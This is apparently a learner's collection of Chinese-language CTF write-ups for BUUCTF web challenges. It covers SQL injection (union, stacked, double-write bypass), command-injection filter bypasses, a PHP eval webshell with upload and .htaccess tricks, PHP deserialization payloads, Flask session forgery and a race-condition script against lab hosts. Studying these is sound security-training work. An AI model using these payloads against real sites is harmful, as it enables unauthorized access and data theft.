# [SUCTF 2019]EasySQL

buu 上的,百度下有题解,这里说点有趣的

关于最后 payload 还有查询语句:

select $_GET['query'] || flag from flag

这里的 II 应该是逻辑或,当使用任意一个数字(常数列)与其或时,返回的只会是常数列。所以 payload 是 *,任意数字 ,因为 *||flag 是非法的,即使是开启了所谓的字符串拼接也是不对的。

但是似乎这道题其实没有开字符串拼接,输入 *,1 返回的是:

Array ( [0] => flag{c32cc085-3992-43d4-948a-8b72f8002d1e} [1] => 1 )

显然是没有拼接上 flag 的,而且只有那个任意数字是 0 的时候 [1] 是 0,否则都是 1。至于为什么 0 时返回是 0,也许是因为 flag 的值也被当成是 0 了(?)

此外我还试了试只输入 0,没有返回值,似乎是有语法错误了,不过 *,0 有上述输出。

MySQL 默认 || 是 OR, 但是其他的有的会默认拼接。

# [ACTF2020 新生赛] Include1

倒是提供了一个用伪协议读源码的方法:

file=php://filter/read=convert.base64-encode/resource=flag.php

有的时候就是这么朴实的绕过,可以语法上编解码。像是上次 URL?

# [GXYCTF2019]Ping Ping Ping1

命令执行

你知道的,cat 也可以用来读源码。

感觉三种解法都很有趣:

变量拼接(因为源码中有个没啥用的变量 a):

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

编码:

又是 base64

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这里 base64 加密了 cat flag.php,这样就不会被 flag 以及空格过滤掉,接下来的几个就是通过管道符传递给 base64 (-d 表示解码,$IFS 是绕过空格,$1 是占位符),再交给 sh 执行。虽然题目过滤了 bash,但是 sh 可以用。

最后一个 | sh 是必要的,否则你只会得到 cat flag 本身

?ipdddddfdsfa;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联:

内联,就是将反引号内命令的输出作为输入执行

也就是先执行 `` 之内的,然后将结果代替本身

构造

?ip=127.0.0.1;cat$IFS$9`ls`
其中cat$IFS$9`ls`
等同于cat $(ls),只是这题目把()过滤了
$IFS$9依旧是用来代替空格
$IFS是shell环境变量一般是空格/制表/换行
$数字是脚本的参数,没定义就会被当做空字符串,会强制参数扩展,使得$IFS的第一个字符无论是什么,也会被当做分隔符(其实只是扩展时会将第一个不论是哪一种分隔符都换成空格而已,所以要成功,$IFS不能为空)。(所以用9就是因为数字大,大概率没定义)

# [极客大挑战 2019] LoveSQL1

一个非常非常普通的 SQL 联合查询,但是我对这个过程一点也不熟悉,所以随便过一过。

首先是万能密码过个登录 1' or 1# ,得到真的账号密码(是真的,但是没用),显然注入点就是 username

用 order by 子句来判断有几个查询参数

1’ order by 1/2/3/4...

最大的不报错数字就是查询参数

联合查询判断回显点

1' union select 1,2,3

看一看返回的 1,2 在哪里 (这题是返回了 2,3 说明有俩可以用)

开爆!

1' union select 1,database(),3
//得到数据库名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
//得到表名,接下来一句类似
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=“表名”
//得到字段名
1' union select 1,database(),group_concat(id,username...) from 表名 
//爆数据!

# [强网杯 2019] 随便注 1

主要是分辨类型的问题

这道题注入时随便用用个 select:

1748532964943

select 都被过滤了,显然联合,报错,盲注都是不行了。

(报错差数据库是可以用的,用来排除)

其实看看以前的笔记用,有提到这种情况 ,只不过都忘了罢了:

1748533140299

堆叠注入。

然而不出意外的又出意外的,看了看 CSDN 上的解释1748533972820

找到 flag 字段后就是找 id 了

有趣的思路来了:

# 让已有的 select 语法帮忙查询,通过改名

CSDN 上的 payload

1';
rename table words to word2;
rename table `1919810931114514` to words;
ALTER TABLE words ADD id int(10) DEFAULT '12';
ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q
  • 先将 words 改为别的名字 比如 words2 或者其他

  • 然后将 1919810931114514 改为 words

  • 把属性名 flag 改为 id,然后用 1’ or 1=1;# 显示 flag 出来
    在这之前当然要先把 words 表改名为其他(其实就是让他正常查询)

    <del> 窝趣,惊世智慧 </del>

虽然我不知道是怎么判断出来原来查询的是 words

# 利用 concat 拼接
-1’;use supersqli;set @sql=concat(‘s’,'elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q

这里 set 为变量赋值

PREPARE 设置 sql 查询语法

EXECUTE 执行函数

用的预处理语句,以前也有提到,只是当时不知道怎么应用,这里再次贴个模板:

1748536245195

显然这一种可以绕过关键字过滤的方案(预处理 + concat ())

这样就可以执行带着函数执行语句了。

# [极客大挑战 2019] Upload _

对于后缀的后端绕过,可以尝试:

php3,php4,php5,phtml,pht

这道题用的是 **.phtml**(似乎大多都是这个)。然后就是常规的改 MIME

但是这玩意而对内容也有过滤:

1749215635336

(说个搞笑的,我触发这玩意儿时,只是随便上传一个图片而已)

这道题最大的贡献就是给了个不直接写 php 的 php(内嵌到 html 里)

我一直以为 php 是不能像 js 那样的,但是实际上可以。

<script language="php">eval($_REQUEST[1234])</script>

典中典猜测文件在 upload

payload:

xxx?1234=system('cat /flag');

// 记得;结尾,楼下 arrert () 不用

POST:

Invoke-WebRequest -Uri "http://......" -Method POST -Body @{Syc="system('cat /flag');"}
//windows下curl是别名,所以可以直接替换,只是语法和linux不一样,见下
curl -X POST -d "Syc=system('cat /flag');" http://4b81a12b-b0e2-4906-a7e9-81bed4fb958d.node5.buuoj.cn:81

如果被过滤,可以搜一搜其他的命令执行或者代码执行函数,就算 system 被过滤,也可以用 echo 和反引号,shell_exec () 等,eval 被过滤,也可以用 arrert ()


# 怪事

这道题网上都是用 jpg 为载体,我是随便拿了张普通的 png 图片,然后再末尾加上 payload。奇怪的是,文件依然能够直接上传,但是当我抓包改后缀后,就会提示 not image。按理来说这玩意儿只是后缀黑名单,不应该啊......

# [极客大挑战 2019] BabySQL1

这道题过滤了 select,union,or,by,但是与前面的随便注不同,那题会直接 return false,这题只是单纯从里面删掉过滤词,所以全部都可以

顺带一提,这道题用不了堆叠,被 ban 了

双写绕过:

Payload:
username=1' ununionion seselectlect 1#&password=1
url:
username=1%27ununionion%20seselectlect%201%23&password=1

接下来就是正常的过程,见 Love 那题;

过程中会发现: information,from,where 被过滤 。也需要双写绕过

# [极客大挑战 2019] PHP

# 备份文件

1752052814280

找到 flag 文件,就是个放 flag 的,没有其他内容(里面 flag 假的),再看一下 class.php,发现有反序列化漏洞(这一题简单到直接喂给 ai 都能得到正确的 payload)

但是实际上我都没看过,所以顺便写下:

# 魔术方法

1752053893938

17520539539531752053954894

序列化只是将对象转换为一个可以存储或传输的字符串表示形式,不会影响对象的生命周期状态,所以 serialize () 不会触发析构函数(__destruct)

反序列化则相反,将序列化的字符串转换为一个对象,这个对象有自己的生存期和作用域,当其结束生命周期是时就会调用析构函数

$person = new Person();
$person->name = 'Alice';
$person->age = 25;
$ser = serialize($person);     //序列化,得到字符串
$newPerson = unserialize($ser); // 反序列化,得到对象
var_dump($newPerson->name, $newPerson->age); 
// 输出 string(5) "Alice" int(25) ,成功还原属性值

注:既然是 “方法”,当然都是在类内定义(public)

__sleep 用于整理要序列化的对象,决定序列化哪些属性,或者执行清理工作(比如关闭数据库连接)

__wakeup 则是对数据进行初始化或者修正

两者都不是必要的


# 在这道题

1752056086984

将 username 直接初始化成了 guest, 这使得正常情况下不可能有 admin,下面判断一定不成立。

这里的漏洞是在部分版本 PHP 中,当__wakeup 的参数多于实际需要的时候,其会被绕过。

正常情况:

文本格式

O:4:"Name":2:{s:14:" Name username";s:6:"admine";s:14:" Name password";s:3:"100";}

url

O:4:"Name":2:{s:14:"口Name口username";s:6:"admine";s:14:"口Name口password";s:3:"100";}
// 将空格换成 %00, 否则空格就没了

其他不用管,把 2 改成更大的数字就行。

最后看 index 里的,用 get 方法把上述通过 select 传过去就行


echo $dd;  //调用__toString
$dd();    //调用__invoke
$dd->d;    //调用__get(对象/属性不存在/可见时),这个函数有一个参数d
$dd->d=1;
//要求同上,并且存在__get时会其后才执行__set,两个参数,d和1
unset($test->var);//调用__unset,要求和参数同__get
$new=clone($dd);//调用__clone,也就是使用clone关键字复制的时候调用
# 漏洞利用
# __destruct()/__wakeup()

利用在 (反) 序列化后会执行这个函数

例如:

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);
?>

payload:

?benben=O:4:"User":1:{s:8:"username";s:2:"ls";}

# [RoarCTF 2019]Easy Calc

<del> 确实 “easy”?</del>

一个计算器,先看源代码

1752480695882

这里说有 waf,结合后面我们知道这个 waf 是可以通过?%20num 来绕过的


# 要点

php 和 waf 对于参数的检查不一样

1752481073483

不过这个 waf 没有想象的那么简单,不加 %20 直接当计算器也是可以使用的,估计还有额外的判断。


直接试着访问 calc.php, 发现可以直接看:

1752480784425

把 cat /flag 的 / 过滤了,不过直接 eval,演都不演了

然后这里其实要先看下 phpinfo

? num=phpinfo()

1752481572874

system (),shell_exec () 都被 ban 了

但是我们毕竟只是为了读文件,所以 payload:

?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

或者

?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

chr () 就是用 ascll 编码转换成字符(可以是 10,16,8 进制)

<del> 但是有必要用其他的么 </del>

这里必须完全使用 chr 来拼接,因为 ''"" 都被过滤,即使使用其他方法也至少要用到 chr (39)

这道题不能用 base64, 因为 = 也被过滤了,url 也不大行,不知道为什么

# 关于可以使用的函数
chr();
// 下面的都是躺赢狗(?)
var_dump(scandir(...));
// 扫目录,这其实才是第一步
var_dump(file(...));
file_get_contents(...);
// 读文件
// 注意 file 本身并不返回文件内容,要配合 var_dump

# [极客大挑战 2019] BuyFlag

这道题 buu 那个环境不知道为什么有点问题,后来 pay.php 莫名就报错 502,再开容器都不行。

抓包,改 user,用 POST 请求给 password(由于是弱等于,所以直接 404potatowo

然后就是猜测支付的参数是 money,但是会发现提示金额不足,明显被限制,使用数组绕过

1752487142997

# 数组绕过

通过 md5 加密不能加密数组类型,而且会直接传出 null,得到 null===null 的表达式

类似的还有绕过 strpos 函数,当传入数组时,其会报错并返回 1

# [HCTF 2018]admin

这题的源文件要自己找,题目给的链接已经失效了

不难发现这题就是要伪造登录 admin。然而可以弱口令(密码是 123)

最简单的

# Unicode 字符欺骗

这道题输入的 username 在注册和改密码的时候都会调用 strlower 函数

1752646476281

1752646497082

这个函数本身:

1752646530445

问题在于这个 nodeprep.prepare() 函数

这个函数在遇到 unicode 编码的字符时,第一次执行只会将其转化为正常的字符

所以大致的思路是:在注册的时候 ”ᴬᴰᴹᴵᴺ“经过 strlower (),转成”ADMIN“ , 在修改密码的时候 ”ADMIN“再次经过 strlower () 变成”admin“ , 最后实现修改了 admin 的密码。

<del> 这一点并非完全不可能认识到 </del>

# flask session 伪造

由于 flask 是非常轻量级的框架,其 session 存储在客户端而不是服务端(就在 cookie 里),而且只对 session 进行签名,只防篡改不防读取。(但是这题知道 SECRET_KEY)

from itsdangerous import *
s = "eyJ1c2VyX2lkIjo2fQ.XA3a4A.R-ReVnWT8pkpFqM_52MabkZYIkY"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')
#flask 的 session 有三个部分,点号分隔 (数据部分,序列化的 JSON 格式 base64 编码的用户数据;时间戳,标记创建时间,也是 base64 编码;签名,使用 SECRET_KEY 对前面两个部分计算得到的 HMAC-SHA1 哈希值,也有 base64 编码)

这道题最大的问题在于:

1752649938178

那大概率是没这个环境变量,secret_key 就是‘ckj123’了

所以随便抓个包,并且解密:

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
 
def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
 
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True
    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')
 
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')
 
    return session_json_serializer.loads(payload)
 
if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解密后:

{'_fresh': True, '_id': b'a6b80018eb76a852b571a6ffb2af6c57c14db156105f08b453f8a7a18ef497ed6601eb4eb2b998971afa6ad076b3702b12f3fb9346a9ecae12373d53d672bb82', 'csrf_token': b'e29bb4f5da054e6847dba9216917427182156aa0', 'image': b'jkBI', 'name': '123', 'user_id': '10'}

显然把 name 改一下再加密回去,扔回 session 中就行

git clone https://github.com/noraj/flask-session-cookie-manager
#加密脚本
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "篡改后的内容"
# 条件竞争

<ins> 注:这个方法只是理论上可行,但是实际似乎没人测试成功,不知道什么问题 </ins>

还是在登录和改密码那里:

1752651192030

1752651249004

登录的时候在判断之前就先把 session 改了,这导致即使没登录成功,session 也会变,而 change 是根据 session 来改密码的,并且不需要验证原密码。

所以可以尝试在改密码的时候尝试登录 admin,使得 change 修改了 admin 的密码,不过 change 函数执行前回判断是否登录,我们不可能在登录状态再去尝试登录。所以必须在 change 函数判断完登录状态后快速退出并再次尝试登录。

由于需要卡执行过程,所以要用两个进程:

这个脚本是同时发俩请求然后循环,直到成功

import requests
import threading
 
def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/login", data=data)
 
def logout(s):
    return s.get("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/logout")
 
def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://db0fc0e1-b704-4643-b0b6-d39398ff329a.node1.buuoj.cn/change", data=data)
 
def func1(s):
    login(s, 'test', 'test')
    change(s, 'test')
 
def func2(s):
    logout(s)
    res = login(s, 'admin', 'test')
    if 'flag' in res.text:
        print('finish')
 
def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()
 
if __name__ == "__main__":
    main()

# [MRCTF2020] 你传你🐎呢

这道题只能传 jpg(只检查 MIME 是否是 jpg, 以及后缀过滤了 php 及其类似物。是的,居然是白 + 黑),为了将 jpg 按照 php 解析,需要再传一个.htaccess 文件


.htaccess 是一个用于配置 Apache Web 服务器的分布式配置文件,全称为 “Hypertext Access”(超文本访问)。它主要用于在特定目录级别设置服务器配置

可以重写 url,访问控制(限 IP 或者要账号密码,即基础认证),定义特定文件 MIME 和对应处理方式...

在 ngnix 中 nginx.conf 起到类似功能

SetHandler application/x-httpd-php
#这句话会使得所有在该目录下的文件都被当做php执行

倒不如说,如果两个都是白名单,也上传不了 .htaccess

# [ZJCTF 2019]NiZhuanSiWei

SSRF (?)+ 反序列化

1752658920765

这里的 text 被当做文件路径,但是问题是不可能有这么个文件包含这个内容所以要绕过

data://是一种数据流协议,表达式整体可以当做某个文件。
格式:
data://<mime类型>,<内容>  
所以有下式成立:
file_get_contents(data://text/plain,welcome to the zjctf) === "welcome to the zjctf"

看一看 useless.php, 反正肯定也就只能包含这玩意儿了

1752659545505

这里有个__toString () 说明要输出一个对象(就是上面反序列化生成的那个)构造的时候让 file 键指向 flag.php

通过将应该得到的类序列化生成 payload:

<?php
class Flag{
    public $file = 'flag.php'; 
}
echo serialize(new Flag());
// 输出:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后一把梭:

1752662782474